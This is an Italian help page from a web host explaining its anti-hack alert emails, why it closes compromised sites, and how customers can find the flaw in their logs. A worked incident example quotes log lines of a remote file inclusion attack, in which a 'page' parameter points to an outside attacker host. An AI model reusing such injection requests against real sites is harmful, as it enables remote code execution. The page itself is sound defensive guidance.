Cerca


stampa pdf
Avete ricevuto un messaggio di allarme dal nostro sistema anti-hack

Comprendere i principi di questo sistema

  • A cosa corrispondono le linee sistemi ?

Nell'email che avete ricevuto, dovrete trovare qualche linea di sistema di questo tipo :

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat Utilisatr Inode PID/Program name
tcp ------ 0 --------- 0 ---- 0.0.0.0:2000 -------- 0.0.0.0:* — LISTEN 1025 1241772069 12109/b

Vi vengono comunicate come prova dell'attacco (hack) eseguito sul vostro sito. Indirizzo locale "0.0.0.0:2000" significa che l'hacker ha aperto la porta 2000 sul server. Indirizzo distante "0.0.0.0:*" significa che questa porta accetta le connessioni che arrivano da tutte le macchine da qualsiasi porta. Stato "LISTEN" significa che questa porta è attualmente in ascolto, in attesa di connessione. Il numero di utilizzatori corrisponde al vostro UID sul server OVH, così abbiamo potuto sapere che questo programma è stato lanciato dal vostro sito. Il nome del programma è di poco interesse in questa situazione, i pirati utilizzando spesso nomi di programmi aleatori o falsi allo scopo di ingannare gli amministratori.


  • Perché è stato chiuso il mio sito?

Dovete capire che il Vostro sito è stato chiuso non per punirVi, siete anche Voi vittime, ma piuttosto per protteggerVi. Pensate sicuramente che basti interrompere il programma (kill) per risolvere il problema... La nostra esperienza ci ha dimostrato che una volta trovato un errore di sicurezza su un sito, gli hack diventano più frequenti e generalmente più agressivi. Nonostante la sorveglianza regolare dello stato del server da parte del nostro sistema, bastano alcuni secondi al pirata per fare danni importanti sul Vostro sito o sui server. Di conseguenza, è meglio trovare l'errore di sicurezza e correggerlo prima di riaprirlo. Il nostro sistema interrompe tutti i programmi simili a degli hack e chiude il Vostro sito se il pirata è sempre connesso al server o se ha lasciato una backdoor che gli permette di riconnettersi facilmente. In questo modo si impedisce al pirata di proseguire le sue operazioni.

  • Perché OVH non impedisce questo genere di attacco sul mio sito?

In questo tipo di attacco, il pirata non ha recuperato la password e non si è introdotto nei nostri server. Ha solo sfruttato un errore di sicurezza nel Vostro sito per eseguire codice. Nessun provvedimento a nostro livello può bloccare direttamente questo genere di attacco. Potremmo, in effetti, limitare le possibilità offerte ai soli script sui nostri server per rendere questo genere di cose impossibile, ma questo provvedimento avrebbe un effetto secondario: non Vi permetterebbe di utilizzare alcune possibilità interessanti offerte dai nuovi linguaggi come PHP, perl e python, e renderebbe più complicata la creazione di siti. Di conseguenza, abbiamo deciso di offrirVi la maggiore libertà possibile, e di controllare gli eventuali problemi per garantire la sicurezza del Vostro sito e porre termine in modo veloce ai tentativi di pirateria.

  • Come trovare e correggere l'errore di sicurezza?

- Se utilizzate un sistema popolare del tipo phpBB, phpnuke, ecc.
Su questo genere di sistemi molto conosciuti, gli ideatori fanno regolarmente degli aggiornamenti per colmare questi errori di sicurezza notati dagli utilizzatori. Aggiornate quindi il Vostro sistema all'ultima versione e teneteVi informati dei futuri aggiornamenti iscrivendoVi alla mailing list del sito ufficiale ad esempio. Se avete già l'ultima versione, non esitate ad intervenire sui forum ufficiali per far parte dell'intrusione e segnalare in questo modo agli ideatori che proporranno velocemente una correzione che applicherete in fretta.

- Se utilizzate script recuperati su Internet o i Vostri propri script in un sito che avete creato
La cosa più semplice: potete fare appello al nostro servizio d'intervento, contattando il supporto OVH che Vi proporrà un preventivo per la ricerca dell'errore. Il nostro servizio d'intervento potrà in quest'occasione:
- localizzare lo script che contiene l'errore,
- recuperare tutte le informazioni possibili sull'origine dell'attacco,
- trovare l'errore nello script indebolito,
- riassumerVi il cammino seguito e il metodo utilizzato per trovare l'errore,
- proporVi alcuni provvedimenti di protezione e di correzione per metterVi al riparo.

Se volete cercare Voi stessi: non è possibile fare una procedura dettagliata che permetta di localizzare a colpo sicuro l'origine di ogni intrusione. Ma ecco come procedere in maniera generale sapendo che l'attacco ha per origine un errore nello script e quindi che il pirata è passata da una richiesta HTTP. Ogni richiesta HTTP è disponibile nei Vostri log (http://logs.ovh.net/ilvostrodominio): sostituite "ilvostrodominio" con il Vostro nome a dominio e la sua estensione. es: ovh.it.

1) Rilevate la data e l'ora dell'e-mail di allarme che avete ricevuto.
2) Consultate i Vostri log da quell'ora e allargando man mano il campo di ricerca su orari anteriori fino a notare un'entrata non corretta (strana, diversa dalle altre, ecc). Può richiedere un po' di pratica o di conoscenza del formato delle richieste secondo i casi.
3) Rilevate lo script attaccato da questa richiesta.
4) Studiate lo script per localizzarci l'errore.
5) Correggete.

Esempio
Vi presentiamo qui il bilancio di un intervento effettuato per uno dei nostri clienti in web hosting. In questo modo, potrete avere un'idea di ciò che Vi proponiamo negli interventi o della procedura da seguire per le Vostre ricerche. Si tratta di un errore classico ed abbastanza semplice da localizzare:

Salve,

Ecco il risultato delle nostre inchieste:

1/ Si cerca nei log di connessione:
Se guardiamo nei log alle date e ore indicate, troviamo un'entrata sospetta dello stesso tipo nei due casi:

65.39.172.139 www.*********.net - <23/Oct/2004:10:57:19 +0200> "GET /XII_IWB/index.php?page=http://65.39.172.139:113/2 HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"

65.39.172.139 www.*********.net - <27/Oct/2004:20:52:33 +0200> "GET /XII_IWB/index.php?page=http://65.39.172.139:113/3 HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"

Queste entrate sono sospette perché si nota che il parametro pagina inserito nell'URL è un indirizzo distante e attacca una porta non standard (la porta HTTP è 80 e qui è 113 che viene attaccato):
index.php?page=http://65.39.172.139:113/4

Lo script vulnerabile è: "index.php" nella directory "XII_IWB"

2/ Si risale la pista dell'attaccante, questo può servire per il deposito di una denuncia o per contattare l'hoster dell'attaccante di modo che porga fine all'hosting dell'hacker:

65.39.172.139 è senza dubbio l'IP dell'attaccante. Quest'indirizzo non ha nessun reverse (nome di macchina) associato, ma il SOA dà:
172.39.65.in-addr.arpa. 10800 IN SOA ns1.peer1.net

Il contatto amministrativo che corrisponde a peer1.net è:

Administrative Contact:
Administrator, Domain domains@peer1.net
1600-555 West Hastings Street
Vancouver, BC V6B 4N5
CA
(604) 683-7747


Potrebbe essere utile contattare questa società in merito a questo problema comunicando le date e ore degli attacchi e l'IP coinvolta.

3/ Si guarda il conto e più precisamente lo script incriminato per trovare l'errore ed eventualmente altre cose sospette:
Innanzitutto si notano tre directory strane alla radice della directory XII_IWB:
drwxr-xr-x 13 ******** users 4096 jun 17 13:54
drwxr-xr-x 13 ******** users 4096 jun 17 13:54
drwxr-xr-x 13 ******** users 4096 jun 17 13:55


Queste tre directory hanno nomi composti da spazi. Si potrebbe trattare di directory lasciate dall'hacker. Volete eliminarle? Poi si esamina il file index.php: questo contiene in effetti un parametro $page che è poi incluso nello script da un'istruzione include (). Il controllo effettuato su questo parametro è insufficiente, sapendo che verrà ripreso in un commando include e può di conseguenza permettere l'esecuzione di codice malevole.


4/ Suggerimento per colmare l'errore e migliorare la sicurezza:una prima soluzione può essere bloccare l'IP dell'attacco visto che è sempre la stessa, ma si tratta di una soluzione temporanea: un altro hacker potrebbe sfruttare lo stesso errore.
Per sapere come bloccare un IP sul Vostro sito: HtaccessProtectIP.

È molto importante poi colmare l'errore include. Per farlo, basta controllare il formato del parametro "page" inserito nell'URL. Se questo parametro deve avere un formato particolare (composto solo di lettere ad esempio), utilizzate un'espressione regolare per controllare che corrisponda il formato. Se i formati sono diversi, verificate che non contenga caratteri speciali come / o che non contenga http://, questo limiterà già considerevolmente le possibilità di aggiramento. Non esitate a verificare su tutti i Vostri script che questo genere di errore non sia presente, e in modo generale, controllate in modo rigoroso ogni parametro inserito dal visistatore o passato da un URL.